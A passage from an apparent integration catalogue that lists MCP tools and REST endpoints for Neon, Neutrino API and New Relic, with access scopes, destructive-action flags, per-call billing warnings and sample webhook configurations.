endpoint. Starts a compute endpoint. The compute endpoint is ready to use after the last operation in the chain finishes successfully. An `endpoint_id` has an `ep-` prefix. POST /projects/{project_id}/endpoints/{endpoint_id}/start POST /api/v1/neon/projects/{project_id}/endpoints/{endpoint_id}/start. Scopes: api. neon_post_projects_by_project_id_endpoints_by_endpoint_id_suspend (write) — Suspend compute endpoint. Suspends the specified compute endpoint. An `endpoint_id` has an `ep-` prefix. POST /projects/{project_id}/endpoints/{endpoint_id}/suspend POST /api/v1/neon/projects/{project_id}/endpoints/{endpoint_id}/suspend. Scopes: api. neon_post_projects_by_project_id_jwks (write) — Add JWKS URL. Adds a JWKS URL to the specified project for verifying JWTs used as the authentication mechanism. The URL must be a valid HTTPS URL that returns a JSON Web Key Set. POST /projects/{project_id}/jwks POST /api/v1/neon/projects/{project_id}/jwks. Scopes: api. neon_post_projects_by_project_id_permissions (write) — Grant project access. Grants project access to the account associated with the specified email address. POST /projects/{project_id}/permissions POST /api/v1/neon/projects/{project_id}/permissions. Scopes: api. neon_post_projects_by_project_id_recover (write) — Recover a deleted project. Recovers a deleted project within the 7-day deletion recovery period. Restores branches, endpoints, settings, and connection strings. Some integrations require manual reconfiguration after recovery. POST /projects/{project_id}/recover POST /api/v1/neon/projects/{project_id}/recover. Scopes: api. neon_post_projects_by_project_id_snapshots_by_snapshot_id_restore (write) — Restore snapshot. Restores the specified snapshot to a new branch, and optionally finalizes the restore operation to replace the original branch. POST /projects/{project_id}/snapshots/{snapshot_id}/restore POST /api/v1/neon/projects/{project_id}/snapshots/{snapshot_id}/restore. Scopes: api. neon_post_projects_by_project_id_transfer_requests (write) — Create a project transfer request. Creates a transfer request for the specified project. The request expires after a set period. POST /projects/{project_id}/transfer_requests POST /api/v1/neon/projects/{project_id}/transfer_requests. Scopes: api. neon_post_projects_by_project_id_vpc_endpoints_by_vpc_endpoint_id (write) — Set VPC endpoint restriction. Sets or updates a VPC endpoint restriction for a Neon project. When a VPC endpoint restriction is set, the project only accepts connections from the specified VPC. POST /projects/{project_id}/vpc_endpoints/{vpc_endpoint_id} POST /api/v1/neon/projects/{project_id}/vpc_endpoints/{vpc_endpoint_id}. Scopes: api. neon_post_users_me_projects_transfer (write) — Transfer projects from personal account to organization. Deprecated. Personal accounts have been migrated to organizations, so this operation no longer applies. Removal scheduled for July 1, 2026. POST /users/me/projects/transfer POST /api/v1/neon/users/me/projects/transfer. Scopes: api. neon_put_organizations_by_org_id_billing_spending_limit (write) — Set organization spending limit. Sets the monthly spending limit for the specified organization. To remove a previously configured limit, send a DELETE request to this endpoint. PUT /organizations/{org_id}/billing/spending_limit PUT /api/v1/neon/organizations/{org_id}/billing/spending_limit. Scopes: api. neon_put_projects_by_project_id_branches_by_branch_id_auth_users_by_auth_user_id_role (write) — Update auth user role. Updates the role of a user in the Neon Auth user directory for the specified branch. The role controls the user's level of access within the Neon Auth integration. PUT /projects/{project_id}/branches/{branch_id}/auth/users/{auth_user_id}/role PUT /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/users/{auth_user_id}/role. Scopes: api. neon_put_projects_by_project_id_branches_by_branch_id_auth_webhooks (write) — Update Neon Auth webhook configuration. Updates the webhook configuration for the specified branch's Neon Auth integration. Webhooks notify an external endpoint when auth events occur, such as user creation or sign-in. PUT /projects/{project_id}/branches/{branch_id}/auth/webhooks PUT /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/webhooks. Scopes: api. neon_put_projects_by_project_id_branches_by_branch_id_backup_schedule (write) — Update backup schedule. Updates the backup schedule for the specified branch. The schedule defines how often automatic snapshots are created (for example, `daily` or `weekly`). Requires a paid plan. PUT /projects/{project_id}/branches/{branch_id}/backup_schedule PUT /api/v1/neon/projects/{project_id}/branches/{branch_id}/backup_schedule. Scopes: api. neon_put_projects_by_project_id_members_by_member_id_role (write) — Set an org member's role on a project. Idempotently sets or updates the explicit project grant of the specified org member. Self-demotion requires `confirm_self_demotion=true`. PUT /projects/{project_id}/members/{member_id}/role PUT /api/v1/neon/projects/{project_id}/members/{member_id}/role. Scopes: api. neon_put_projects_by_project_id_transfer_requests_by_request_id (write) — Accept a project transfer request. Accepts a transfer request for the specified project, transferring it to the specified organization or user. PUT /projects/{project_id}/transfer_requests/{request_id} PUT /api/v1/neon/projects/{project_id}/transfer_requests/{request_id}. Scopes: api. ================================================================================ ## Neutrino API URL: https://www.agenticfabriq.com/integrations/neutrinoapi Section: Integrated Tools Neutrino API — 21 MCP tools Provider key: neutrinoapi. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. neutrinoapi_get_bin_lookup (read) — BIN Lookup via GET /bin-lookup. Perform a BIN (Bank Identification Number) or IIN (Issuer Identification Number) lookup. NeutrinoAPI product family: E-commerce. GET /api/v1/neutrinoapi/bin-lookup. Scopes: api. neutrinoapi_get_convert (read) — Convert via GET /convert. A currency and unit conversion tool. NeutrinoAPI product family: E-commerce. GET /api/v1/neutrinoapi/convert. Scopes: api. neutrinoapi_get_domain_lookup (read) — Domain Lookup via GET /domain-lookup. Retrieve domain name details and detect potentially malicious or dangerous domains. NeutrinoAPI product family: Security and Networking. GET /api/v1/neutrinoapi/domain-lookup. Scopes: api. neutrinoapi_get_email_validate (read) — Email Validate via GET /email-validate. Parse, validate and clean an email address. NeutrinoAPI product family: Data Tools. GET /api/v1/neutrinoapi/email-validate. Scopes: api. neutrinoapi_get_email_verify (read) — Email Verify via GET /email-verify. SMTP based email address verification. NeutrinoAPI product family: Security and Networking. GET /api/v1/neutrinoapi/email-verify. Scopes: api. neutrinoapi_get_geocode_address (read) — Geocode Address via GET /geocode-address. Geocode an address, partial address or just the name of a place. NeutrinoAPI product family: Geolocation. GET /api/v1/neutrinoapi/geocode-address. Scopes: api. neutrinoapi_get_geocode_reverse (read) — Geocode Reverse via GET /geocode-reverse. Convert a geographic coordinate (latitude and longitude) into a real world address. NeutrinoAPI product family: Geolocation. GET /api/v1/neutrinoapi/geocode-reverse. Scopes: api. neutrinoapi_get_hlr_lookup (read) — WARNING: QUERIES THE GLOBAL MOBILE NETWORK AND IS BILLED PER LOOKUP (fixed at $0.0070). HLR Lookup via GET /hlr-lookup. Connect to the global mobile cellular network and retrieve the status of a mobile device. Telephony must be enabled on the NeutrinoAPI account with a card on file, or the call answers 400 error 8 'TELEPHONY NOT ENABLED ON YOUR ACCOUNT' (or error 13 'CARD DECLINED') -- which is an account setting, not a bad credential. NeutrinoAPI product family: Telephony. GET /api/v1/neutrinoapi/hlr-lookup. Scopes: api. neutrinoapi_get_host_reputation (read) — Host Reputation via GET /host-reputation. Check the reputation of an IP address, domain name or URL against a comprehensive list of blacklists and blocklists. NeutrinoAPI product family: Security and Networking. GET /api/v1/neutrinoapi/host-reputation. Scopes: api. neutrinoapi_get_ip_blocklist (read) — IP Blocklist via GET /ip-blocklist. The IP Blocklist API will detect potentially malicious or dangerous IP addresses. NeutrinoAPI product family: Security and Networking. GET /api/v1/neutrinoapi/ip-blocklist. Scopes: api. neutrinoapi_get_ip_info (read) — IP Info via GET /ip-info. Get location information about an IP address and do reverse DNS (PTR) lookups. NeutrinoAPI product family: Geolocation. GET /api/v1/neutrinoapi/ip-info. Scopes: api. neutrinoapi_get_ip_probe (read) — IP Probe via GET /ip-probe. Execute a realtime network probe against an IPv4 or IPv6 address. NeutrinoAPI product family: Security and Networking. GET /api/v1/neutrinoapi/ip-probe. Scopes: api. neutrinoapi_get_phone_validate (read) — Phone Validate via GET /phone-validate. Parse, validate and get location information about a phone number. NeutrinoAPI product family: Data Tools. GET /api/v1/neutrinoapi/phone-validate. Scopes: api. neutrinoapi_get_ua_lookup (read) — UA Lookup via GET /ua-lookup. Parse, validate and get detailed user-agent information from a user agent string or from client hints. NeutrinoAPI product family: Data Tools. GET /api/v1/neutrinoapi/ua-lookup. Scopes: api. neutrinoapi_get_url_info (read) — URL Info via GET /url-info. Parse, analyze and retrieve content from the supplied URL. NeutrinoAPI product family: WWW. GET /api/v1/neutrinoapi/url-info. Scopes: api. neutrinoapi_get_verify_security_code (read) — Verify Security Code via GET /verify-security-code. Check if a security code sent via SMS Verify or Phone Verify is valid. NeutrinoAPI product family: Telephony. GET /api/v1/neutrinoapi/verify-security-code. Scopes: api. neutrinoapi_post_bad_word_filter (write) — Bad Word Filter via POST /bad-word-filter. Detect bad words, swear words and profanity in a given text. NeutrinoAPI product family: Data Tools. POST /api/v1/neutrinoapi/bad-word-filter. Scopes: api. neutrinoapi_post_browser_bot (write) — Browser Bot via POST /browser-bot. Browser bot can extract content, interact with keyboard and mouse events, and execute JavaScript on a website. NeutrinoAPI product family: WWW. POST /api/v1/neutrinoapi/browser-bot. Scopes: api. neutrinoapi_post_phone_playback (write) — WARNING: PLACES A REAL PHONE CALL AND IS BILLED PER CALL (from $0.0200, varying by destination country and network). Phone Playback via POST /phone-playback. Make an automated call to any valid phone number and playback an audio message. Telephony must be enabled on the NeutrinoAPI account with a card on file, or the call answers 400 error 8 'TELEPHONY NOT ENABLED ON YOUR ACCOUNT' (or error 13 'CARD DECLINED') -- which is an account setting, not a bad credential. NeutrinoAPI product family: Telephony. POST /api/v1/neutrinoapi/phone-playback. Scopes: api. neutrinoapi_post_phone_verify (write) — WARNING: PLACES A REAL PHONE CALL AND IS BILLED PER CALL (from $0.0200, varying by destination country and network). Phone Verify via POST /phone-verify. Make an automated call to any valid phone number and playback a unique security code. Telephony must be enabled on the NeutrinoAPI account with a card on file, or the call answers 400 error 8 'TELEPHONY NOT ENABLED ON YOUR ACCOUNT' (or error 13 'CARD DECLINED') -- which is an account setting, not a bad credential. NeutrinoAPI product family: Telephony. POST /api/v1/neutrinoapi/phone-verify. Scopes: api. neutrinoapi_post_sms_verify (write) — WARNING: SENDS A REAL SMS AND IS BILLED PER MESSAGE (from $0.0150, varying by destination country and network). SMS Verify via POST /sms-verify. Send a unique security code to any mobile device via SMS. Telephony must be enabled on the NeutrinoAPI account with a card on file, or the call answers 400 error 8 'TELEPHONY NOT ENABLED ON YOUR ACCOUNT' (or error 13 'CARD DECLINED') -- which is an account setting, not a bad credential. NeutrinoAPI product family: Telephony. POST /api/v1/neutrinoapi/sms-verify. Scopes: api. ================================================================================ ## New Relic URL: https://www.agenticfabriq.com/integrations/newrelic Section: Integrated Tools New Relic — 58 MCP tools Provider key: newrelic. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. newrelic_delete_alerts_channels_by_channel_id_json (write, destructive) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. Delete -- New users should use these docs about managing alerts via NerdGraph. This API endpoint deletes Alerts notification channels. Note: User notification channels cannot be deleted. Note: Admin User’s API Key is required. See our documentation for a discussion on deleting notification channels. via DELETE /alerts_channels/{channel_id}.json DELETE /api/v1/newrelic/alerts_channels/{channel_id}.json. Scopes: api. newrelic_delete_alerts_conditions_by_condition_id_json (write, destructive) — Delete -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to delete APM Application and Key Transaction, Browser and Mobile application metric conditions for your alert policies. Conditions for web transaction percentiles, or conditions targeting labels (dynamic targeting), are not available. Note: Admin User’s API Key is required. See our documentation for a discussion on deleting conditions. via DELETE /alerts_conditions/{condition_id}.json DELETE /api/v1/newrelic/alerts_conditions/{condition_id}.json. Scopes: api. newrelic_delete_alerts_entity_conditions_by_entity_id_json (write, destructive) — Remove -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to disassociate an entity with a specified Alerts condition. Note: Admin User’s API Key is required. Entity type options (Synthetics is not yet supported): BrowserApplication Application MobileApplication Server KeyTransaction via DELETE /alerts_entity_conditions/{entity_id}.json DELETE /api/v1/newrelic/alerts_entity_conditions/{entity_id}.json. Scopes: api. newrelic_delete_alerts_external_service_conditions_by_condition_id_json (write, destructive) — Delete -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to delete external service conditions associated with your alert policy. Note: Admin User’s API Key is required. See our documentation for a discussion on deleting External services conditions. via DELETE /alerts_external_service_conditions/{condition_id}.json DELETE /api/v1/newrelic/alerts_external_service_conditions/{condition_id}.json. Scopes: api. newrelic_delete_alerts_location_failure_conditions_by_condition_id_json (write, destructive) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. Delete -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to Delete the alerts location failure conditions for your Alerts policy. via DELETE /alerts_location_failure_conditions/{condition_id}.json DELETE /api/v1/newrelic/alerts_location_failure_conditions/{condition_id}.json. Scopes: api. newrelic_delete_alerts_nrql_conditions_by_condition_id_json (write, destructive) — Delete -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to delete NRQL conditions for your Alerts policy. NRQL Baseline conditions are not available. Note: Admin User’s API Key is required. via DELETE /alerts_nrql_conditions/{condition_id}.json DELETE /api/v1/newrelic/alerts_nrql_conditions/{condition_id}.json. Scopes: api. newrelic_delete_alerts_policies_by_policy_id_json (write, destructive) — Delete -- New users should use these docs about managing alerts via NerdGraph. This API endpoint deletes Alerts policies associated with your New Relic account. Note: Admin User’s API Key is required. See our documentation for a discussion on using the REST API for deleting policies. via DELETE /alerts_policies/{policy_id}.json DELETE /api/v1/newrelic/alerts_policies/{policy_id}.json. Scopes: api. newrelic_delete_alerts_policy_channels_json (write, destructive) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. Delete -- New users should use these docs about managing alerts via NerdGraph. This API endpoint deletes Alerts policy/channel associations. Note: Admin User’s API Key is required. See our documentation for a discussion on deleting notification channels with policies. via DELETE /alerts_policy_channels.json DELETE /api/v1/newrelic/alerts_policy_channels.json. Scopes: api. newrelic_delete_alerts_synthetics_conditions_by_condition_id_json (write, destructive) — Delete -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to delete Synthetics conditions associated with your alert policy. Note: Admin User’s API Key is required. See our documentation for a discussion on deleting Synthetic conditions. via DELETE /alerts_synthetics_conditions/{condition_id}.json DELETE /api/v1/newrelic/alerts_synthetics_conditions/{condition_id}.json. Scopes: api. newrelic_delete_applications_by_application_id_deployments_by_id_json (write, destructive) — Delete -- This API endpoint deletes the specified deployment record. Note: Admin User’s API Key is required. via DELETE /applications/{application_id}/deployments/{id}.json DELETE /api/v1/newrelic/applications/{application_id}/deployments/{id}.json. Scopes: api. newrelic_delete_applications_by_id_json (write, destructive) — Delete -- This API endpoint deletes an application and all of its reported data. WARNING: Only applications that have stopped reporting can be deleted. This is an irreversible process which will delete all reported data for this application. via DELETE /applications/{id}.json DELETE /api/v1/newrelic/applications/{id}.json. Scopes: api. newrelic_get_alerts_channels_json (read) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. List -- New users should use these docs about managing alerts via NerdGraph. This API endpoint works with new Alerts on alerts.newrelic.com. It returns a list of the channels associated with your New Relic account. Note: See our documentation for a discussion on listing notification channels. via GET /alerts_channels.json GET /api/v1/newrelic/alerts_channels.json. Scopes: api. newrelic_get_alerts_conditions_json (read) — List -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to list APM Application and Key Transaction, Browser and Mobile application metric conditions for your alert policies. Note: Conditions for web transaction percentiles, or conditions targeting labels (dynamic targeting), are not available. See our documentation for a discussion on output pagination. via GET /alerts_conditions.json GET /api/v1/newrelic/alerts_conditions.json. Scopes: api. newrelic_get_alerts_entity_conditions_by_entity_id_json (read) — List -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to list the Alerts conditions an entity is part of. Entity type options (Synthetics is not yet supported): BrowserApplication Application MobileApplication Server KeyTransaction via GET /alerts_entity_conditions/{entity_id}.json GET /api/v1/newrelic/alerts_entity_conditions/{entity_id}.json. Scopes: api. newrelic_get_alerts_events_json (read) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. List -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to list the alert events for your account. Alerts events can be filter by product, target type, group ID, instance ID, and event type. The options for products are: APM, BROWSER, MOBILE, SERVERS, SYNTHETICS, and ALERTS. The options for entity type are: Application, Server, KeyTransaction, MobileApplication, BrowserApplication, and Monitor. The options for event type are: NOTIFICATION, DEPLOYMENT, VIOLATION_OPEN, VIOLATION_CLOSE, VIOLATION, and INSTRUMENTATION. The group ID option is normally the same as the entity ID (e.g. an Application group ID and entity ID will be the same) See our documentation for a discussion on output pagination. via GET /alerts_events.json GET /api/v1/newrelic/alerts_events.json. Scopes: api. newrelic_get_alerts_external_service_conditions_json (read) — List -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to list the external service conditions for your alert policy. See our documentation for a discussion on output pagination. via GET /alerts_external_service_conditions.json GET /api/v1/newrelic/alerts_external_service_conditions.json. Scopes: api. newrelic_get_alerts_incidents_json (read) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. List -- This endpoint will be deprecated after 2027/01 New users should use these docs about managing alerts via NerdGraph. This API endpoint returns a list of the Incidents associated with your New Relic account. See our documentation for a discussion on listing incidents and output pagination. via GET /alerts_incidents.json GET /api/v1/newrelic/alerts_incidents.json. Scopes: api. newrelic_get_alerts_location_failure_conditions_policies_by_policy_id_json (read) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. List -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to list the alerts location failure conditions for your Alerts policy. via GET /alerts_location_failure_conditions/policies/{policy_id}.json GET /api/v1/newrelic/alerts_location_failure_conditions/policies/{policy_id}.json. Scopes: api. newrelic_get_alerts_nrql_conditions_json (read) — List -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to list the NRQL conditions for your Alerts policy. Note: NRQL Baseline conditions are not available. via GET /alerts_nrql_conditions.json GET /api/v1/newrelic/alerts_nrql_conditions.json. Scopes: api. newrelic_get_alerts_policies_json (read) — List -- New users should use these docs about managing alerts via NerdGraph. This API endpoint works with new Alerts on alerts.newrelic.com. This API endpoint returns a list of the alert policies associated with your New Relic account. See our documentation for a discussion on output pagination. via GET /alerts_policies.json GET /api/v1/newrelic/alerts_policies.json. Scopes: api. newrelic_get_alerts_synthetics_conditions_json (read) — List -- New users should use NRQL Alert Conditions, refer to these docs about managing alerts via NerdGraph. This API endpoint allows you to list the Synthetics conditions for your alert policy. See our documentation for a discussion on listing Synthetic conditions and output pagination. via GET /alerts_synthetics_conditions.json GET /api/v1/newrelic/alerts_synthetics_conditions.json. Scopes: api. newrelic_get_alerts_violations_json (read) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. List -- New users should use these docs about managing alerts via NerdGraph. This API endpoint works with new Alerts on alerts.newrelic.com. It returns a list of the violations associated with your New Relic account. See our documentation for a discussion on output pagination. via GET /alerts_violations.json GET /api/v1/newrelic/alerts_violations.json. Scopes: api. newrelic_get_applications_by_application_id_deployments_json (read) — List -- This API endpoint returns a paginated list of the deployments associated with a given application. See our documentation for a discussion on output pagination. via GET /applications/{application_id}/deployments.json GET /api/v1/newrelic/applications/{application_id}/deployments.json. Scopes: api. newrelic_get_applications_by_application_id_hosts_by_host_id_metrics_data_json (read) — Metric Data -- This API endpoint returns a list of values for each of the requested metrics. The list of available metrics can be returned using the Metric Name API endpoint. Metric data can be filtered by a number of parameters, including multiple names and values, and by time range. Metric names and values will be matched intelligently in the background. You can also retrieve a summarized data point across the entire time range selected by using the summarize parameter. See our documentation for a discussion on output pagination, time range related considerations, and for examples of requesting and using metric values. via GET /applications/{application_id}/hosts/{host_id}/metrics/data.json GET /api/v1/newrelic/applications/{application_id}/hosts/{host_id}/metrics/data.json. Scopes: api. newrelic_get_applications_by_application_id_hosts_by_host_id_metrics_json (read) — Metric Names -- Return a list of known metrics and their value names for the given resource. See our documentation for a discussion on output pagination and for examples of requesting and using metric values. via GET /applications/{application_id}/hosts/{host_id}/metrics.json GET /api/v1/newrelic/applications/{application_id}/hosts/{host_id}/metrics.json. Scopes: api. newrelic_get_applications_by_application_id_hosts_by_id_json (read) — Show -- This API endpoint returns a single application host, identified by ID. The time range for summary data is the last 3-4 minutes. See our documentation for a discussion of summary data output. via GET /applications/{application_id}/hosts/{id}.json GET /api/v1/newrelic/applications/{application_id}/hosts/{id}.json. Scopes: api. newrelic_get_applications_by_application_id_hosts_json (read) — List -- This API endpoint returns a paginated list of hosts associated with the given application. The time range for summary data is the last 3-4 minutes. Application hosts can be filtered by hostname, or the list of application host IDs. See our documentation for a discussion and examples of using filters and summary data output. via GET /applications/{application_id}/hosts.json GET /api/v1/newrelic/applications/{application_id}/hosts.json. Scopes: api. newrelic_get_applications_by_application_id_instances_by_id_json (read) — Show -- This API endpoint returns a single application instance, identified by ID. The time range for summary data is the last 3-4 minutes. See our documentation for a discussion of summary data output. via GET /applications/{application_id}/instances/{id}.json GET /api/v1/newrelic/applications/{application_id}/instances/{id}.json. Scopes: api. newrelic_get_applications_by_application_id_instances_by_instance_id_metrics_data_json (read) — Metric Data -- This API endpoint returns a list of values for each of the requested metrics. The list of available metrics can be returned using the Metric Name API endpoint. Metric data can be filtered by a number of parameters, including multiple names and values, and by time range. Metric names and values will be matched intelligently in the background. You can also retrieve a summarized data point across the entire time range selected by using the summarize parameter. See our documentation for a discussion on output pagination, time range related considerations, and for examples of requesting and using metric values. via GET /applications/{application_id}/instances/{instance_id}/metrics/data.json GET /api/v1/newrelic/applications/{application_id}/instances/{instance_id}/metrics/data.json. Scopes: api. newrelic_get_applications_by_application_id_instances_by_instance_id_metrics_json (read) — Metric Names -- Return a list of known metrics and their value names for the given resource. See our documentation for a discussion on output pagination and for examples of requesting and using metric values. via GET /applications/{application_id}/instances/{instance_id}/metrics.json GET /api/v1/newrelic/applications/{application_id}/instances/{instance_id}/metrics.json. Scopes: api. newrelic_get_applications_by_application_id_instances_json (read) — List -- This API endpoint returns a paginated list of instances associated with the given application. The time range for summary data is the last 3-4 minutes. Application instances can be filtered by hostname, or the list of application instance IDs. See our documentation for a discussion and examples of using filters and summary data output. via GET /applications/{application_id}/instances.json GET /api/v1/newrelic/applications/{application_id}/instances.json. Scopes: api. newrelic_get_applications_by_application_id_metrics_data_json (read) — Metric Data -- This API endpoint returns a list of values for each of the requested metrics. The list of available metrics can be returned using the Metric Name API endpoint. Metric data can be filtered by a number of parameters, including multiple names and values, and by time range. Metric names and values will be matched intelligently in the background. You can also retrieve a summarized data point across the entire time range selected by using the summarize parameter. See our documentation for a discussion on output pagination, time range related considerations, and for examples of requesting and using metric values. via GET /applications/{application_id}/metrics/data.json GET /api/v1/newrelic/applications/{application_id}/metrics/data.json. Scopes: api. newrelic_get_applications_by_application_id_metrics_json (read) — Metric Names -- Return a list of known metrics and their value names for the given resource. See our documentation for a discussion on output pagination and for examples of requesting and using metric values. via GET /applications/{application_id}/metrics.json GET /api/v1/newrelic/applications/{application_id}/metrics.json. Scopes: api. newrelic_get_applications_by_id_json (read) — Show -- This API endpoint returns a single Application, identified by ID. The time range for summary data is the last 3-4 minutes. See our documentation for a discussion of the summary data output. via GET /applications/{id}.json GET /api/v1/newrelic/applications/{id}.json. Scopes: api. newrelic_get_applications_json (read) — List -- This API endpoint returns a paginated list of the Applications associated with your New Relic account. The time range for summary data is the last 3-4 minutes. Applications can be filtered by their name, hosts, the list of application IDs or the application language as reported by the agents. See our documentation for a discussion and examples of using filters and summary data output. via GET /applications.json GET /api/v1/newrelic/applications.json. Scopes: api. newrelic_get_key_transactions_by_id_json (read) — Show -- This endpoint returns a single key transaction, identified by ID. The time range for summary data is the last 10 minutes. See our documentation for a discussion of summary data output. via GET /key_transactions/{id}.json GET /api/v1/newrelic/key_transactions/{id}.json. Scopes: api. newrelic_get_key_transactions_json (read) — List -- This API endpoint returns a paginated list of the key transactions associated with your New Relic account. The time range for summary data is the last 10 minutes. Key transactions can be filtered by their name or list of IDs. See our documentation for a discussion of summary data output. via GET /key_transactions.json GET /api/v1/newrelic/key_transactions.json. Scopes: api. newrelic_get_mobile_applications_by_id_json (read) — Show -- This API endpoint returns a single Mobile Application, identified by ID. The time range for summary data is the last 30 minutes. via GET /mobile_applications/{id}.json GET /api/v1/newrelic/mobile_applications/{id}.json. Scopes: api. newrelic_get_mobile_applications_by_mobile_application_id_metrics_data_json (read) — Metric Data -- This API endpoint returns a list of values for each of the requested metrics. The list of available metrics can be returned using the Metric Name API endpoint. Metric data can be filtered by a number of parameters, including multiple names and values, and by time range. Metric names and values will be matched intelligently in the background. You can also retrieve a summarized data point across the entire time range selected by using the summarize parameter. See our documentation for a discussion on output pagination, time range related considerations, and for examples of requesting and using metric values. via GET /mobile_applications/{mobile_application_id}/metrics/data.json GET /api/v1/newrelic/mobile_applications/{mobile_application_id}/metrics/data.json. Scopes: api. newrelic_get_mobile_applications_by_mobile_application_id_metrics_json (read) — Metric Names -- Return a list of known metrics and their value names for the given resource. See our documentation for a discussion on output pagination and for examples of requesting and using metric values. via GET /mobile_applications/{mobile_application_id}/metrics.json GET /api/v1/newrelic/mobile_applications/{mobile_application_id}/metrics.json. Scopes: api. newrelic_get_mobile_applications_json (read) — List -- This API endpoint returns a list of the Mobile Applications associated with your New Relic account. MobileApplications can be filtered by their name, or by the application IDs. via GET /mobile_applications.json GET /api/v1/newrelic/mobile_applications.json. Scopes: api. newrelic_post_alerts_channels_json (write) — DEPRECATED by New Relic -- filed under its swagger tag "Deprecation Notice - ...", and retired with REST API v2 on 2027-07-31; New Relic points new users at NerdGraph for this. Still live today. Create -- New users should use these docs about managing alerts via NerdGraph. This API endpoint works with new Alerts on alerts.newrelic.com. It creates a channel associated with your New Relic account. Note: Admin User’s API Key is required. See our documentation for a discussion on creating notification channels. Channel type configuration options: Email { "recipients" : "test@google.com", "include_json_attachment" : true } HipChat { "auth_token": "abc123", "room_id": "google.com" } OpsGenie { "api_key": "abc123", "teams": "team1", "tags": "tag1", "recipients": "me@me.com" } Slack { "url": "http://test.com", "channel": "channel1" } Campfire { "subdomain": "mysubdomain", "token": "123abc", "room": "room1" } Victorops { "key": "mykey", "route_key": "theroute" } PagerDuty { "service_key": "myservicekey" } Webhook (json) { "base_url": "http://test.com", "auth_username": "username", "auth_password": "password", "payload_type": "application/json", "payload": { "account_id": "$ACCOUNT_ID", "account_name": "$ACCOUNT_NAME", "condition_id": "$CONDITION_ID", "condition_name": "$CONDITION_NAME", "current_state": "$EVENT_STATE", "details": "$EVENT_DETAILS", "event_type": "$EVENT_TYPE", "incident_acknowledge_url": "$INCIDENT_ACKNOWLEDGE_URL", "incident_id": "$INCIDENT_ID", "incident_url": "$INCIDENT_URL", "owner": "$EVENT_OWNER", "policy_name": "$POLICY_NAME", "policy_url": "$POLICY_URL", "runbook_url": "$RUNBOOK_URL", "severity": "$SEVERITY", "targets": "$TARGETS", "timestamp": "$TIMESTAMP", "violation_chart_url": "$VIOLATION_CHART_URL" }, "headers": {"header1": "test", "header2": "test"} } Webhook (x-www-form-urlencoded) { "base_url": "http://test.com", "auth_username": "username", "auth_password": "password", "payload_type": "application/x-www-form-urlencoded", "payload": { "account_id": "$ACCOUNT_ID", "account_name": "$ACCOUNT_NAME", "condition_id": "$CONDITION_ID", "condition_name": "$CONDITION_NAME", "current_state": "$EVENT_STATE", "details": "$EVENT_DETAILS", "event_type": "$EVENT_TYPE", "incident_acknowledge_url": "$INCIDENT_ACKNOWLEDGE_URL", "incident_id": "$INCIDENT_ID", "incident_url": "$INCIDENT_URL", "owner": "$EVENT_OWNER", "policy_name": "$POLICY_NAME", "policy_url": "$POLICY_URL", "runbook_url": "$RUNBOOK_URL", "severity": "$SEVERITY", "targets": "$TARGETS", "timestamp": "$TIMESTAMP", "violation_chart_url": "$VIOLATION_CHART_URL" }, "headers": {"header1": "test", "header2": "test"} } via POST /alerts_channels.json POST /api/v1/newrelic/alerts_channels.json. Scopes: api. newrelic_post_alerts_conditions_policies_by_policy_id_json (write) — Create -- New users should use these docs about managing alerts via NerdGraph. This API endpoint allows you to create APM Application and Key Transaction, Browser and Mobile application metric conditions for your alert policies. Conditions for web transaction percentiles, or conditions targeting labels (dynamic targeting), are not available. Note: Admin User’s API Key is required. See our documentation for a discussion on creating conditions for policies. All fields are required except for “runbook_url”, “enabled” (defaults to false), “user_defined”. type: apm_app_metric, apm_kt_metric, servers_metric, browser_metric, 